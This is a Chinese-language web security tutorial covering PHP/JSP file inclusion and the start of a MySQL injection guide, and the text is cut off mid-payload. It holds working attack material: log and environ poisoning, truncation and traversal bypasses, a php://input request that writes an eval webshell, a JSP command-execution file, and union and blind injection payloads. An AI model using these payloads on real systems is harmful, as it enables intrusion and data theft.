包含日志文件前提条件:要知道服务器日志的存储路径,且日志文件可读. 服务器一般回在Web Server的access_log里记录客户端的请求信息,在error_log里记录出错信息.所以攻击者可以间接地将PHP代码写入日志文件,在文件包含时,只需要包含日志文件即可. 但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析.可以使用burp截包后修改. 正常的PHP代码已经写入了 D:\\phpStudy\\PHPTutorial\\Apache\\logs\\error.log.然后进行包含即可. 1http://192.168.91.134/include.php?test=D:\\phpStudy\\PHPTutorial\\Apache\\logs\\error.log 正常服务器中的日志文件位置: 12/var/log/nginx/access.log/var/log/apache2/access.log 包含SSH log**条件:**需要知道ssh-log的位置,且可读.默认情况下为 /var/log/auth.log 12# 用ssh连接ssh <?php phpinfo();?>@192.168.91.149 这是在服务器上的auth.log文件上就会记录下如下内容: 再进行文件包含即可: 包含environproc/self/environ中会保存user-agent头.如果在user-agent中插入php代码,则php代码会被写入到environ中.之后再包含它,即可. 条件: php以cgi方式运行,这样environ才会保持UA头. environ文件存储位置已知,且environ文件可读. 1?file=../../../../../../../proc/self/environ 在访问的时候抓包把user-agent修改为<?php phpinfo();?>即可. 这个没有尝试成功,这一个文件似乎没有user-agent??? 包含临时文件以上这些方法都要求PHP能过包含这些不处于Web目录下的文件,如果PHP设置了open_basedir,则很可能会使得攻击失效. php中上传文件,会创建临时文件.在linux下使用/tmp目录,而在windows下使用c:\\winsdows\\temp目录.在临时文件被删除之前,利用条件竞争即可包含该临时文件. 由于包含需要知道包含的文件名.一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535种不同的文件名,所以这个方法是可行的. 或者利用phpinfo能查看临时文件名字的方法去进行利用: PHP LFI 利用临时文件 Getshell 姿势 PHP文件包含漏洞(利用phpinfo) 文件包含漏洞常见绕过技巧00字符截断 PHP版本<=5.3.4 magic_quotes_gpc = Off 1file=../../etc/passwd%00 123<?phpinclude($_GET['a'].'.php')?> 这里固定了后缀名为php,可以使用截断的方式来访问我们想要的文件. 1?a=info.php%00 %00会被解析为0x00,所以导致截断的发生 我们通过截断成功的绕过了后缀限制 路径长度截断 php版本小于5.3.10 文件路径有长度限制,目录字符串在Windows下256字节、Linux下4096字节时,会达到最大值,最大值之后的字符被丢弃. 123././././././././././././abc..........//////////////////abc.........../1/abc../1/abc../1/abc........ 就是在后面接很多个.,让后面的后缀抛弃掉. 目录遍历可以使用../../../这样的方式来返回到上层目录中,这种方式又被称为”目录遍历(Path Traversal)“.常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF) : 12345678%2e%2e%2f -> ../%2e%2e/ -> ../..%2f -> ../%2e%2e%5c -> ..\\%2e%2e%\\ -> ..\\..%5c -> ..\\%252e%252e%255c -> ..\\..%255c -> ..\\ URL绕过假设服务器后端给我们传入的文件加了指定的后面的内容,可以使用以下的方法进行绕过,假设后端给传入的内容拼接上/test/test.php query(?)1?file=http://remoteaddr/remoteinfo.txt? 则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php 问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过. fragment(#)1?file=http://remoteaddr/remoteinfo.txt%23 则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php 问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过.注意需要把#进行url编码为%23. require_once绕过重复包含文件原理:php源码分析 require_once 绕过不能重复包含文件的限制 (太长看不懂系列) PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含 /proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过. 12345678910root@ubuntu:/var/log/apache2# cd /proc/self/root/root@ubuntu:/proc/self/root# lsbin dev home lib media proc sbin swapfile tmp vmlinuzboot etc initrd.img lib64 mnt root snap sys usr vmlinuz.oldcdrom flag initrd.img.old lost+found opt run srv test varroot@ubuntu:/proc/self/root# cd /root@ubuntu:/# lsbin dev home lib media proc sbin swapfile tmp vmlinuzboot etc initrd.img lib64 mnt root snap sys usr vmlinuz.oldcdrom flag initrd.img.old lost+found opt run srv test var 可以看到这里/proc/self/root/和/指向的目录是一样的. example: 1?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 这样就可以绕过require_once()只能包含一次相同文件的限制. php://filter绕过exit有时候后端会对我们输入的代码前面加上一段exit()函数,使得我们写入的代码无法执行,这时候如果可以使用php://filter伪协议对内容进行编码解码,即可绕过 详见:php://filter的妙用 文件包含漏洞常见的伪协议 文件包含漏洞常常是由于应用程序对用户输入的文件路径参数没有充分验证和过滤,而导致攻击者可以构造特殊的文件路径参数来读取、执行或包含应用程序中的敏感文件.攻击者可以利用多种伪协议来构造恶意的文件路径参数,以下是常见的伪协议: php:// 输入输出流PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器. php://filter 元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写. 用法1php://filter/read=convert.base64-encode/resource=你要读取的东西 过程1http://ip/path/include.php?filename=php://filter/read=convert.base64-encode/resource=你要读取的东西 如果在某些场合发现明明存在文件包含漏洞但是某些东西无法读取的话, 可以base64编码解决 条件只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include; phar://伪协议这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压. 用法12?file=phar://压缩包/内部文件phar://../../../phpinfo.zip/phpinfo.jpg 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用. 过程写一个php文件,然后用zip压缩为zip文件,然后将后缀改为png等其他格式,然后传入服务器. 然后再通过文件上传漏洞和phar://伪协议解析 同理,也可以通过这种思路进行getshell, 将php文件中的phpinfo的代码改为一句话木马即可 1<?php @eval($_POST['shell'])?> zip伪协议zip伪协议和phar协议类似,但是用法不一样. 用法1file=zip://[压缩文件]#[压缩文件内的子文件名] 条件PHP > =5.3.0 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符. 过程依旧是先上传,再利用文件包含漏洞进行解析 1http://ip/path/include.php?filename=zip://info.jpg%23info.php 和phar一样,可shell php://input可以访问请求的原始数据的只读流.即可以直接读取到POST上没有经过解析的原始数据. enctype=”multipart/form-data” 的时候 php://input 是无效的. 用法1?file=php://input 数据利用POST传过去. 条件php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行. 过程如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马 1<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?> 注意:当前目录Web应用工作的用户必须要有写权限,否则写不了 发送POST包 123POST /test/include.php?filename=php://input HTTP/1.1<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?> 然后用你的Webshell工具连接即可 REFhttps://www.php.cn/php-weizijiaocheng-481803.html 补充:系统中的敏感路径常见的敏感路径: Windows C:\\boot.ini 查看系统版本 C:\\windows\\system32\\inetsrv\\MetaBase.xml IIS 配置文件 C:\\windows\\repair\\sam 存储windows系统初次安装的密码 C:\\Program Files\\mysql\\my.ini mysql 配置 C:\\Program Files\\mysql\\data\\mysql\\user.MYD Mysql root C:\\windows\\php.ini php 配置信息 C:\\windows\\my.ini mysql 配置文件 UNIX/Linux /etc/passwd /usr/local/app/apache2/conf/httpd.conf apache2 默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置 /usr/local/app/php5/lib/php.ini PHP 相关配置 /etc/httpd/conf/httpd.conf apache /etc/php5/apache2/php.ini ubuntu 系统的默认路径 日志默认路径 apache+Linux 日志默认路径/etc/httpd/logs/access_log或者/var/log/httpd/access_log apache+win2003 日志默认路径D:\\xampp\\apache\\logs\\access.log, D:\\xampp\\apache\\logs\\error.log IIS6.0+win2003 默认日志文件C:\\WINDOWS\\system32\\Logfiles IIS7.0+win2003 默认日志文件%SystemDrive%\\inetpub\\logs\\LogFiles nginx 日志文件日志文件在用户安装目录 logs 目录下,以我的安装路径为例/usr/local/nginx,那我的日志目录就是在/usr/local/nginx/logs里 web 中间件默认配置 apache+linux 默认配置文件/etc/httpd/conf/httpd.conf或者index.php?page=/etc/init.d/httpd IIS6.0+win2003 配置文件C:/Windows/system32/inetsrv/metabase.xml IIS7.0+WIN 配置文件C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config P.S. burp的intruder里面自带一些路径 Javaweb:文件包含(扩展)以为只有PHP中存在文件包含漏洞? 不不不~~ :) 实际上只要存在文件包含的功能,无论语言都有可能存在这样的问题, 而且利用的逻辑基本上是相同的 漏洞复习在目标机器上起一个Tomcat环境 新建一个test.jsp, 输入以下代码搭建一个简单的javaweb文件包含漏洞环境 123456789<!--输出提示--><%out.println("Input your payload as GET parameter 'payload'");%><br><%out.println("Output: ");%><br><!--获取payload参数内容传入变量payload--><%String payload = request.getParameter("payload");%><!--包含变量payload内的内容--><jsp:include page="${param.payload}" /> 给payload参数传你想要包含的路径 1http://ip:8080/path/test.jsp?payload=文件名 在test.jsp的相同目录新建一个1.jsp 12345678910111213<%@ page import="java.util.*,java.io.*"%><%Process p;p = Runtime.getRuntime().exec("操作系统命令");OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) { out.println(disr); disr = dis.readLine();}%> 然后访问 1http://ip:8080/path/test.jsp?payload=1.jsp 让1.jsp被包含 注意事项在本实验中被包含文件后缀会被识别,不会强制当成jsp代码执行,另外一种包含的方式<%@include file='文件'%>可以…但是file后面的东西必须是字符串,不能是变量,因此无法造成文件包含漏洞… 由此可见,Javaweb在这方面的安全性比PHP会高一些 总结文件包含漏洞是一种常见的Web应用程序安全漏洞,它可以导致攻击者能够访问敏感文件、执行任意代码或获取系统权限.攻击者可以利用这些漏洞在Web服务器上执行恶意代码,获取系统权限,并在服务器上进行不良操作. 文件包含漏洞的根本原因是没有正确地对用户输入进行过滤和验证,或者没有正确地处理文件路径.为了防止文件包含漏洞,开发人员应该采取一些最佳实践,例如使用白名单而不是黑名单、验证输入和转义特殊字符等. 在Web应用程序的设计和开发过程中,开发人员应该始终考虑安全性,并确保采用了最佳的安全实践.对于现有的Web应用程序,开发人员应该对其进行安全评估,以识别并修复可能存在的漏洞.最后,定期更新服务器上的软件和操作系统以及应用程序代码,以确保Web应用程序的安全性."},{"title":"三. SQL注入","path":"/wiki/VulnerabilityInsightDocs/三. SQL注入.html","content":"总字符数: 46.51K 代码: 21.03K, 文本: 12.83K 预计阅读时间: 2.45 小时 SQL注入什么是SQL​\tSQL:结构化查询语言(Structured Query Language),是一种专门用于管理关系型数据库系统的语言.通过SQL,我们可以进行查询、插入、更新和删除数据库中的数据,同时也可以用于创建和修改数据库表、视图、索引等数据库对象.SQL是全球范围内最为广泛使用的数据库语言之一,几乎所有的关系型数据库系统都支持SQL.什么是注入​\t注入是一种安全漏洞,特别是在B/S(浏览器/服务器)模式应用开发中,由于程序员水平参差不齐,很多应用程序存在安全隐患.攻击者可以通过提交包含恶意代码的输入,根据程序返回的结果来获取他们想要的数据/动作,这就是注入.什么是注入点​\t注入点是可以实施注入攻击的位置,通常是一个用于访问数据库的连接.根据注入点所使用的数据库账户的权限不同,攻击者可能会获得不同的操作权限.将SQL和注入结合SQL注入是一种攻击方式,攻击者通过在应用程序中注入恶意的SQL代码,从而访问和操作数据库中的数据.​\t通常利用应用程序没有正确验证和过滤输入数据的漏洞进行攻击.举个例子,如果一个网站的登录页面没有正确验证和过滤用户输入的数据,攻击者可以在用户名输入框中输入恶意的SQL代码,绕过身份验证,进而访问和操作数据库.例如获取用户的密码或删除数据.简单来说,攻击者会巧妙地在输入框、网址参数等地方输入一些恶意的SQL代码,就像是在投放一些”病毒”.这些恶意代码会混入到数据库查询的执行流程中,让服务器执行了攻击者设计的SQL语句,然后把攻击者想要的数据返回给他们.这样的攻击就好比是在偷偷操控数据库,获取一些不该看到的信息. SQL注入的危害SQL注入攻击可能导致以下危害: 数据泄露: 攻击者可以通过SQL注入攻击获取到数据库中的敏感信息,例如用户名、密码、信用卡号、个人身份信息等. 数据篡改: 攻击者可以修改数据库中的数据,例如篡改用户的账户信息、订单信息等. 数据删除: 攻击者可以通过SQL注入攻击删除数据库中的数据,例如删除用户的订单信息、商品信息等. SQL注入的位置SQL注入可以发生在多个位置,包括: 表单提交: 主要是POST请求,也包括GET请求. URL参数提交: 主要是GET请求参数. Cookie参数提交. HTTP请求头部的一些可修改的值: 比如Referer、User_Agents等. 一些边缘的输入点: 比如.mp3文件的一些文件信息等. SQL注入原理​\t在访问动态网页时,Web服务器向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句. ​\t虽然网站内部直接发送的SQL请求一般不会有危险,但在需要动态构造SQL语句的情况下,如果用户输入的数据被构造成恶意SQL代码而未经审查,就可能带来危险. ​\t攻击者利用这个漏洞可以绕过身份验证,访问和操作数据库中的数据. 注入点探测注入点探测可以通过以下方式进行: 手动方式: 手工构造SQL注入测试语句,进行注入点发现. 自动方式: 使用Web漏洞扫描工具,自动进行注入点发现. ​\t在探测注入点后,攻击者可以通过注入点获取所期望的数据,包括环境信息、数据库信息以及获取权限,甚至尝试获取操作系统权限. 信息获取通过注入点获取期望的数据有以下几个方面: 环境信息: 攻击者可以通过注入点获取有关数据库和操作系统的环境信息,包括数据库类型、数据库版本、操作系统版本以及用户信息等. 数据库信息: 攻击者可以通过注入点获取数据库的详细信息,包括数据库名称、数据库表、表字段以及字段内容.此过程中,攻击者可能还会尝试破解加密内容. 获取权限: 在一些极端情况下,攻击者可能试图通过注入点获取操作系统权限.这可以通过在数据库中执行一些操作,比如运行shell命令或上传木马程序,来尝试获取更高级别的系统权限. 探测数据指纹​\t探测数据库指纹的目的是通过观察错误消息或使用特殊的语句,确定应用程序后端所使用的数据库类型.以下是两种探测数据库指纹的方法 通过观察错误消息​\t通过观察应用程序返回的错误消息,我们可以获取关于数据库类型的指纹信息. ​\t不同的数据库在报错时会显示不同的错误信息,从而可以推断后端数据库的类型. MySQL错误示例: 1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 Oracle错误示例: 1ORA-00933:SQL command not properly ended MS-SQL错误示例: 1Microsoft SQL Native Client error '80040e14' Unclosed quotation mark after the character string PostgreSQL错误示例: 1Query failed:ERROR:syntax error at or near 利用语句探测数据库​\t利用不同数据库连接字符串的语法差异,通过构造特殊的语句来进行识别. ​\t假设我们查询字符串为zhangsan 1234Oracle: 'zhang'||'san'MS-SQL: 'zhang'+'san'MySQL: 'zhang' 'san'PostgreSQL:'zhang' || 'san' ​\t在这个示例中,我们可以通过提交特殊值进行测试,以生成zhangsan字符串,然后观察查询结果.如果查询结果相同,则可以确定是哪一种数据库. ​\t如果注入数字数据,还可以使用下面的攻击语句来识别字符串.每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错: 123Oracle: BITAND(1,1)-BITAND(1,1)MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVEDMySQL: CONNECTION_ID()-CONNECTION_ID() ​\t通过这些方法,可以尝试识别目标应用程序后端所使用的数据库类型,为进一步的攻击做准备. MySQL注入MySQL常规操作基础相关 数据库操作: show databases;:显示所有数据库的列表. create database test;:创建一个名为 “test” 的数据库. use 库名;:切换到指定的数据库. drop database 库名;:删除指定的数据库. 表操作: show tables;:显示当前数据库中的所有表. create table 表名(列名1 数据类型1, 列名2 数据类型2);:创建一张表,定义表的列名和数据类型. drop table 表名;:删除指定的表. 数据操作: insert into 表名(列名1, 列名2, 列名3,...) values(数据1, 数据2, 数据3,...);:向表中插入新的数据. update 表名 set 列名1=值1, 列名2=值2,... [where 条件];:更新表中的数据,可以带条件,不加条件则修改所有记录. delete from 表名 where 条件;:删除表中符合条件的数据. 查询操作: select 字段名1, 字段名2 from 表名;:查询指定表中的特定字段数据. select * from user where id=1 and name='张三';:查询满足指定条件的记录,要求ID为1且姓名为’张三’. SELECT 字段名1, 字段名2 FROM 表名 LIMIT 数量;:这里,”数量”代表你想要返回的行数.例如,如果你想要返回前10行数据:limit 1,10 常用常量12345678-- 常用的数据库常量Select @@version_compile_os; -- 操作系统Select @@tmpdir; -- 查看临时目录Select @@datadir; -- 数据存放的位置Select @@basedir; -- 数据库服务所在位置Select user(); -- 查看当前用户名Select database(); -- 数据库名Select version(); -- 获取当前版本号 常用函数1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283GROUP_CONCAT() -- 说明:列值连接为一个字符串序 -- 用法:GROUP_CONCAT(column_name SEPARATOR 'separator') -- column_name:需要拼接的列名 -- separator:分隔符,默认为逗号 -- 例子:将users表中所有username列的值拼接成一个由逗号分隔的字符串 SELECT GROUP_CONCAT(username SEPARATOR ', ') FROM users;CHAR() -- 说明:根据ASCII码值返回对应的字符. -- 用法:CHAR(ascii_code1 [, ascii_code2, ...]) -- ascii_code:ASCII码值 -- 例子:返回ASCII码为65的字符,即'A' SELECT CHAR(65);ASCII() -- 说明:返回字符的ASCII码值. -- 用法:ASCII(character) -- character:单个字符 -- 例子:返回字符'A'的ASCII码值 SELECT ASCII('A');MID()和SUBSTR() -- 说明:从字符串中提取子字符串. -- 用法:MID(string, start, length) / SUBSTR(string, start, length) -- string:原始字符串 -- start:起始位置(1表示字符串的第一个字符) -- length:要提取的字符数 -- 例子:从字符串'Hello World'中提取从第2个字符开始的5个字符 SELECT MID('Hello World', 2, 5), SUBSTR('Hello World', 2, 5);LENGTH() -- 说明:返回字符串的长度. -- 用法:LENGTH(string) -- string:字符串 -- 例子:返回字符串'Hello World'的长度 SELECT LENGTH('Hello World');LEFT()和RIGHT() -- 说明:分别从字符串的左侧和右侧提取指定数量的字符. -- 用法:LEFT(string, length) / RIGHT(string, length) -- string:被截取的字符串 -- length:截取的长度 -- 例子:从字符串'Hello World'的左侧截取5个字符,以及从右侧截取5个字符 SELECT LEFT('Hello World', 5), RIGHT('Hello World', 5);LIMIT m,n -- 说明:限制SQL查询结果的数量. -- 用法:LIMIT m, n -- m:结果集的起始位置(从0开始) -- n:返回结果的数量 -- 例子:从users表中获取从第1个开始的3个用户数据 SELECT * FROM users LIMIT 0, 3;COUNT() -- 说明:聚合函数,计算表中行的数量. -- 用法:COUNT(column_name) -- column_name:列名(*:表示所有列) -- 例子:计算users表中的总用户数 SELECT COUNT(*) FROM users; RAND() -- 说明:生成一个0到1之间的随机数. -- 用法:RAND() -- 无参数 -- 例子:生成一个随机数 SELECT RAND();FLOOR() -- 说明:返回小于或等于给定数值的最大整数. -- 用法:FLOOR(value) -- value:数值 -- 例子:返回3.14的向下取整结果 SELECT FLOOR(3.14);SLEEP() -- 说明:使数据库延迟一段时间(以秒计). -- 用法:SLEEP(seconds) -- seconds:延迟的时间,以秒为单位 -- 例子:数据库延迟5秒 SELECT SLEEP(5); MySQL默认数据库 information_schema: 这是一个特殊的数据库,存储有关 MySQL 服务器所维护的所有其他数据库的信息.在这个数据库中,有一些关键的表,如: SCHEMATA:包含有关所有数据库的信息. TABLES:包含有关所有表的信息. COLUMNS:包含有关所有列的信息. 这些表存储了关于数据库结构、表和列的元数据. mySQL: 这是 MySQL 管理用户、权限配置以及关键字等的数据库.在这个数据库中,有一些关键的表,如: user:包含用户账户和权限信息. db:保存了每个用户对每个数据库的权限. tables_priv:存储有关表级别的权限. 这个数据库负责维护 MySQL 的用户身份验证和授权信息. performance_schema: 这个数据库用于收集有关数据库服务器性能参数的信息.它包含有关服务器性能的多个表,可用于监视和分析 MySQL 服务器的性能. 对于MySQL-5.0以下的版本,是没有information_schema数据库的.这个数据库在MySQL-5.0及更高版本中引入,提供更方便的元数据访问和查询方式. MySQL注入的类型SQL注入的分类基本上都是根据注入的方式进行分类,大概分为以下4类 联合注入(Union 注入) 这种注入利用 SQL 中的 UNION 操作符,将两个查询的结果合并在一起.攻击者可以通过构造恶意的 UNION 语句将额外的数据添加到查询结果中. 布尔注入(布尔盲注) 布尔注入是一种通过在 SQL 查询中注入布尔条件语句来判断条件真假的攻击.攻击者根据返回页面的内容判断条件是否为真,从而获取目标数据库的信息. 延时注入(时间盲注) 在延时注入中,攻击者注入一些导致数据库查询延时的语句,然后通过观察页面返回的时间来判断条件是否为真.这种注入方式通常难以被察觉. 报错注入 报错注入是一种通过注入导致数据库报错,并从错误信息中获取有关数据库结构和内容的攻击方式.攻击者可以利用数据库返回的错误信息来推断数据库的结构和执行状态. 通常,SQL 注入可以分为数字型和字符型两种基本类型. 数字型注入: 攻击者尝试在查询条件中注入数字值,通过条件的真假来获取信息. 例如:1 AND 1=1 和 1 AND 1=2. 字符型注入: 攻击者尝试在查询条件中注入字符串值,同样通过条件的真假来获取信息. 例如:1' AND '1'='1' 和 1' AND '1'='2'. 也可以使用双引号,例如:1" AND "1"="1" 和 1" AND "1"="2". 判断注入类型数值型在输入参数 x 为整型时,典型的 SQL 查询语句如下: 1SELECT * FROM users WHERE id = $id; 针对这种情况,可以使用 and 1=1 和 and 1=2 来进行注入判断. 网址:www.xxxx.com/ccc.php?id=x 数值型判断我们可以输入以下内容:www.xxxx.com/ccc.php?id=x and 1=1,页面正常显示,继续下一步.www.xxxx.com/ccc.php?id=x and 1=2,页面出现错误,说明存在数字型注入.原因当输入 and 1=1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = x AND 1=1;,没有语法错误且逻辑判断为正确,返回正常.当输入 and 1=2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = x AND 1=2;,没有语法错误但逻辑判断为假,返回错误.假设为字符型输入的语句可能如下:12SELECT * FROM users WHERE id ='1 and 1=1';SELECT * FROM users WHERE id ='1 and 1=2';在字符型注入中,查询语句将 and 语句全部转换成字符串,并没有进行逻辑判断,因此不会出现以上的结果.这个等式是不成立的. 字符型当输入的参数 x 为字符型时,典型的 SQL 查询语句如下: 1SELECT * FROM users WHERE id ='$id'; 对于这种情况,可以使用 and '1'='1 和 and '1'='2 来进行测试. 网址:www.xxx.com/ccc.php?id=1 字符型判断我们可以输入以下内容:www.xxx.com/ccc.php?id=1' and '1'='1,页面正常显示,继续下一步.www.xxx.com/ccc.php?id=1' and '1'='2,页面报错,说明存在字符型注入.原因当输入 and '1'='1 时,后台执行的语句是 SELECT * FROM users WHERE id='x' and '1'='1';,语法正确,逻辑判断正确,返回正确.当输入 and '1'='2 时,后台执行的语句是 SELECT * FROM users WHERE id='x' and '1'='2';,语法正确但逻辑判断错误,返回错误.假设为数值型输入的语句可能如下:12SELECT * FROM users WHERE id = 1' and '1'='1;SELECT * FROM users WHERE id = 1' and '1'='2;在数值型注入中,攻击者不会使用引号,因为它们会致使查询语句产生语法错误,而是直接插入或修改查询中的数值.12mySQL> SELECT * FROM users WHERE id = 1' and '1'='1;ERROR 1064 (42000):You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' and '1'='1' at line 1 字符型和数字型最大的区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合.在字符型注入中,通过构造带有单引号的语句,攻击者试图影响SQL查询的逻辑判断. Union注入如何判断列数​\t在SQL注入中,order by测试列数的原理是利用数据库中order by语句对结果集进行排序的规则. ​\torder by用于指定排序的列,如果没有指定排序方式,默认按升序排列. ​\t攻击者可以构造带有order by语句的SQL语句,通过观察返回结果的变化来判断表中的列数. 举例来说,可以使用以下语句进行测试: 1SELECT * FROM table_name ORDER BY 1 这将按照第一列的升序排列结果. 结果正常返回,说明表中至少有一列. 结果异常返回,说明表中不存在第一列. 1SELECT * FROM table_name ORDER BY 2 这将按照第二列的升序排列结果. 结果正常返回,说明表中至少有两列. 结果异常返回,说明表中不存在第二列. ​\t以此类推,通过改变order by语句逐渐确定表中的列数. ​\t当找到所有列后,就可以构造合法的SQL注入语句,获取所需的数据. union联合前后语句的列数必须相同.并且还要保证数据类型相似 ​\t例如,数字和字符的数据类型就不是相似的. ​\t如果表中的列有不同的数据类型,黑客在确定列数后还会进行数据类型的判断,以确保构造的注入语句是合法的. 在SQL中,要合并两个表格的内容通常会使用UNION操作符来连接两个SELECT语句的结果.然而,UNION操作符也存在一种被称为UNION注入的骚操作. 注入流程 判断注入漏洞 ' 或者 " 或者 ):通过输入这些字符来尝试触发 SQL 注入漏洞. 1 and 1=1 1 and 1=2 1' and '1'='1 1' and '1'='2 1" and "1"="1 1" and "1"="2 注释多余符号 -- - 或者 #:使用注释符号 -- 来注释掉 SQL 语句中的多余部分,使其不产生影响. 判断多少列 ORDER BY 20:通过逐渐增加 ORDER BY 后的数字来判断查询结果的列数. Union 联合查询 UNION SELECT 1,2,3:使用 UNION 进行联合查询,判断字符列在第几列. 报出相关信息 UNION SELECT 1,version(),3:在字符列上报出数据库版本信息. 指定数据库、表、列 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database():指定数据库,爆破数据库表名. UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema=database() AND table_name="表名":指定表名,爆破列名. 查询数据信息 UNION SELECT 1,GROUP_CONCAT(列名,0x5c,列名),3 FROM security.users:在字符列上进行查询数据信息. 为什么会出现盲注这个东西?错误信息未显示: 在一些情况下,应用程序可能配置为不向用户显示详细的错误信息,这使得攻击者无法通过错误信息直接获取数据库信息.这时,攻击者可能会尝试使用盲注来推断信息.输出被过滤: 有些应用程序可能对输出进行了过滤,防止攻击者通过错误信息直接获取敏感信息.在这种情况下,攻击者可能会使用盲注来绕过这些过滤.获取数据长度: 在某些情况下,攻击者可能无法直接获取数据库中的数据,但可以通过盲注来逐步获取数据的长度,从而为后续攻击打下基础.版本特性限制: 在MySQL 5.0版本以下,数据库中缺少information_schema这个数据库,它通常用于存储数据库元数据,使得攻击者无法通过标准的SQL查询来获取数据库结构信息.因此,攻击者可能会转而使用盲注技术来推测数据库的结构和内容. 盲注 ​\t盲注(Blind SQL Injection)是一种 SQL 注入攻击的变体,其中攻击者并不能直接看到数据库返回的信息,而是通过观察应用程序对用户输入的不同响应来推断数据库中的数据. ​\t盲注之所以存在,是因为在某些情况下,攻击者无法直接获取到数据库返回的数据,但仍然能够利用应用程序的响应来进行信息收集和攻击. 盲注通常分为布尔盲注和时间盲注两种类型. 布尔盲注: 攻击者通过构造逻辑条件,观察应用程序的不同响应,来判断条件的真假. 时间盲注: 攻击者通过构造导致延时的条件,观察应用程序的响应时间来判断条件的真假. 布尔盲注 ​\t布尔盲注(Boolean-Based Blind SQL Injection)是一种SQL注入攻击的形式,与普通SQL注入不同之处在于,攻击者无法直接获取数据库返回的数据,而是通过观察应用程序的行为,根据不同的条件判断结果是否为真来逐步推断数据库中的信息. 以下是布尔盲注的基本原理和测试方式: 构造布尔条件: 攻击者通过构造SQL语句中的布尔条件,使得在条件成立时应用程序返回正常响应,而在条件不成立时返回异常或错误响应. 示例1SELECT * FROM users WHERE username='admin' AND 1=1; 上述语句中,条件1=1永远成立,应用程序将正常返回. 观察应用程序行为: 攻击者通过观察应用程序对SQL查询的响应,判断条件是否成立. 应用程序返回正常响应,说明条件成立. 应用程序返回异常/错误响应,说明条件不成立. 逐步推断条件: 攻击者通过逐步调整条件,通过不断观察应用程序的响应来推断数据库中的信息. 可以通过逐渐改变条件中的值或关系运算符来确定数据库中的某个字符是否符合条件. 使用二分法: 为了提高效率,攻击者通常使用二分法逼近条件,从而更快地确定字符是否符合条件. 示例12-- 通过判断数据库名的第一个字符的ASCII码是否等于115来构造布尔条件,逐步推断数据库名.SELECT * FROM users WHERE username='admin' AND ASCII(SUBSTRING(database(), 1, 1)) =115; Less-8 盲注用户名12345678910111213141516171819' and substring(user(),1,1)='r' -- -' and substring(user(),2,1)='o' -- -' and substring(user(),3,1)='o' -- -' and substring(user(),4,1)='t' -- -' and substring(user(),5,1)='@' -- -' and substring(user(),6,1)='l' -- -' and substring(user(),7,1)='o' -- -' and substring(user(),8,1)='c' -- -' and substring(user(),9,1)='a' -- -' and substring(user(),10,1)='l' -- -' and substring(user(),11,1)='h' -- -' and substring(user(),12,1)='o' -- -' and substring(user(),13,1)='s' -- -' and substring(user(),14,1)='t' -- --- 最终得到,用户名为:root@localhost-- 手工盲注是非常耗时间的,那么在之前我们学过了暴力破解.那么用什么工具可以用来盲注?-- 使用盲注的时候在没有字符的字典时,如何爆破? 盲注库名如果想猜测当前数据库,其原理也和上文一样. 查询有几个库 1' and (select count(schema_name) from information_schema.schemata) =6 -- - 查询第一个库名长度 1' and length((select schema_name from information_schema.schemata limit 0,1))=18 -- - 查询第一个库名 123456789101112131415161718192021222324251' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 -- -'-- 此行无效1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=110 -- -'-- 此行无效payload1 payload2 字符串1 105 i2 110 n3 102 f4 111 o5 114 r6 109 m 7 97 a8 116 t9 105 i10 111 o11 110 n 12 95 _13 115 s14 99 c15 104 h16 101 e17 109 m18 97 a 盲注表名1' and ASCII(substring((select table_name from information_schema.TABLES WHERE table_schema=database() limit 0,1),1,1))=101 -- - 正确后会返回一个IP 12-- 获取表名的第一个字母的ASCII码' and ASCII(substring((select table_name from information_schema.TABLES 